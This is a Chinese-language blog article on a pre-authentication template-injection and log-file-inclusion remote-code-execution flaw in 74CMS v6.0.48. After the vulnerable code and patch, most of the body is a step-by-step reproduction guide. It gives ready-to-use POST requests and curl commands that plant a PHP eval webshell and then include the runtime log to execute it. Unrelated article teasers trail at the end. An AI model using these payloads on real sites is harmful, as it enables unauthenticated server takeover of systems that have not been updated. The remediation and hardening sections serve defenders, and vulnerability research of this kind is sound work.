news 2026/7/15 3:30:06

74CMS v6.0.48模版注入与文件包含漏洞深度剖析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
74CMS v6.0.48模版注入与文件包含漏洞深度剖析

1. 漏洞背景与影响范围

74CMS作为国内广泛使用的人才招聘系统,其6.0.48版本曝出的模版注入与文件包含漏洞组合拳,堪称近年来企业CMS系统中最危险的攻击链之一。这个漏洞最可怕之处在于攻击者无需任何登录凭证,仅通过构造特殊HTTP请求就能实现服务器控制。我在实际渗透测试中发现,许多企业用户由于长期未更新系统,仍在使用受影响版本,这相当于给黑客敞开了大门。

该漏洞的核心在于assign_resume_tpl函数对用户输入过滤不严格,配合ThinkPHP框架的文件包含特性,形成了完整的RCE(远程代码执行)攻击路径。影响范围明确覆盖v6.0.48及以下所有版本,与早期v5.0.1后台RCE漏洞相比,这个漏洞的利用门槛更低——既不需要管理员权限,也不依赖后台登录。

2. 漏洞原理深度解析

2.1 模版注入漏洞成因

/Application/Common/Controller/BaseController.class.php文件中,assign_resume_tpl函数原本的设计逻辑是处理简历模版渲染:

public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key => $value) { $this->assign($key,$value); } return $this->fetch($tpl); }

问题出在$tpl参数未做严格校验。当攻击者提交恶意模版内容时,系统会直接将其作为PHP代码执行。比如构造这样的POST请求:

POST /index.php?m=home&a=assign_resume_tpl Content-Type: application/x-www-form-urlencoded variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>

这段payload会直接在网站根目录生成webshell文件。我在测试时发现,即使开启了PHP安全模式,这种写入方式依然有效,因为漏洞利用的是CMS自身的模版渲染机制。

2.2 文件包含漏洞配合利用

单纯模版注入还不足以构成完整攻击链,关键在于74CMS的日志文件包含特性。系统会将错误信息记录在data/Runtime/Logs/Home/目录下,文件名格式为年_月_日.log(如21_01_20.log)。通过包含日志文件,可以执行之前注入的恶意代码:

POST /index.php?m=home&a=assign_resume_tpl Content-Type: application/x-www-form-urlencoded variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

这种组合攻击的精妙之处在于:

  1. 先通过模版注入写入恶意代码到日志
  2. 再利用文件包含执行日志中的代码
  3. 整个过程完全在前台完成,无需任何权限

3. 完整复现实战指南

3.1 环境搭建要点

建议使用PHP 5.6+MySQL环境复现,与生产环境更接近。我这里用Docker快速搭建:

docker run -d -p 8080:80 --name 74cms \ -v $(pwd)/upload:/var/www/html \ -e MYSQL_ROOT_PASSWORD=root \ php:5.6-apache

安装时注意:

  • 数据库字符集选择utf8mb4
  • 关闭安装后自动删除install.php的功能
  • 开启调试模式(后续查看日志更方便)

3.2 分步攻击演示

第一步:检测漏洞存在性访问http://target/index.php?m=home&a=assign_resume_tpl,若返回空白页或报错信息,说明端点存在。

第二步:注入webshell使用curl发送恶意请求:

curl -X POST "http://target/index.php?m=home&a=assign_resume_tpl" \ -d "variable=1&tpl=<?php file_put_contents('shell.php','<?php eval(\$_POST[cmd]);?>');?>"

第三步:确定日志路径查看服务器响应头中的X-Powered-By字段,如果是ThinkPHP框架,默认日志路径为data/Runtime/Logs/Home/当前日期.log

第四步:文件包含执行

curl -X POST "http://target/index.php?m=home&a=assign_resume_tpl" \ -d "variable=1&tpl=data/Runtime/Logs/Home/24_07_15.log"

第五步:验证webshell访问http://target/shell.php?cmd=phpinfo();,能看到phpinfo页面说明攻击成功。

4. 漏洞修复方案

官方在后续版本中增加了关键校验:

$view = new \Think\View; $tpl_file = $view->parseTemplate($tpl); if(!is_file($tpl_file)){ return false; }

建议所有用户立即升级到最新版本。如果暂时无法升级,可以手动修改以下文件:

  1. /Application/Common/Controller/BaseController.class.php增加上述校验
  2. /ThinkPHP/Library/Think/View.class.php注释掉第110行的模板不存在报错
  3. 设置Runtime目录不可执行PHP

5. 防御措施进阶建议

除了官方补丁,我建议企业用户额外实施:

  • 在Nginx层添加规则拦截包含Runtime/Logs的请求
  • 定期清理日志文件,或将其存储在非web目录
  • 使用PHP的open_basedir限制文件访问范围
  • assign_resume_tpl接口增加CSRF Token防护

这个漏洞给我们的启示是:即使使用成熟CMS也要保持警惕。我在安全审计中发现,很多企业CMS的漏洞都源于对"用户可控数据"的过度信任。建议开发者对所有接收外部输入的参数都实施白名单校验,这是阻断此类攻击最有效的方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/15 3:30:03

DeepSeek自建内蒙古数据中心的硬核逻辑:算力工业化实践

1. 为什么DeepSeek选择在内蒙古自建数据中心&#xff1f;这不是“豪赌”&#xff0c;而是算清楚每一度电、每一毫秒、每一行代码后的必然选择你刷到过DeepSeek的推理响应速度吗&#xff1f;在几千万日活用户同时发起请求的峰值时段&#xff0c;它的API延迟曲线依然平滑得像一条…

作者头像 李华
网站建设 2026/7/15 3:29:45

Matlab图像处理系列——频率域图像增强实战:从理论到代码,剖析五大滤波器的应用与效果对比

1. 频率域图像增强基础第一次接触频率域图像处理时&#xff0c;我被傅里叶变换的神奇效果震撼到了——原本杂乱无章的噪声图案&#xff0c;在频域中竟然呈现出清晰的规律性分布。这种空间域到频率域的转换&#xff0c;就像给图像做了一次"X光透视"。频率域处理的核心…

作者头像 李华
网站建设 2026/7/15 3:28:45

豆包五步提问法:让老人孩子都会用的AI交互指南

1. 这本书为什么能真正让8岁孩子和80岁老人同时上手&#xff1f;“豆包人人能用&#xff0c;从8岁到80岁&#xff0c;这本书谁看都能上手”——这句话不是营销话术&#xff0c;而是我翻完《生活难题一键解&#xff1a;豆包实用全攻略》后&#xff0c;在老家陪父亲试用三天、又带…

作者头像 李华
网站建设 2026/7/15 3:28:05

Anthropic发布可坍缩兼容层:面向多模型服务的渐进式架构演进

1. 项目概述&#xff1a;这不是一次普通更新&#xff0c;而是一次架构级“静默坍缩”“Anthropic Just Shipped the Layer That’s Already Going to Zero”——这个标题乍看像科技媒体的夸张头条&#xff0c;但如果你在AI基础设施、模型服务或推理优化一线摸爬滚打过两三年&am…

作者头像 李华
网站建设 2026/7/15 3:27:36

科大讯飞X2办公本:离线录音转写+墨水屏手写笔记一体机

1. 这不是平板&#xff0c;也不是笔记本——它是一台“会写字的录音机”你有没有过这种体验&#xff1a;开完一场两小时的跨部门会议&#xff0c;散会时笔记本上密密麻麻记了十几页&#xff0c;回工位一整理&#xff0c;发现关键结论漏了三条&#xff0c;行动项写错了两个负责人…

作者头像 李华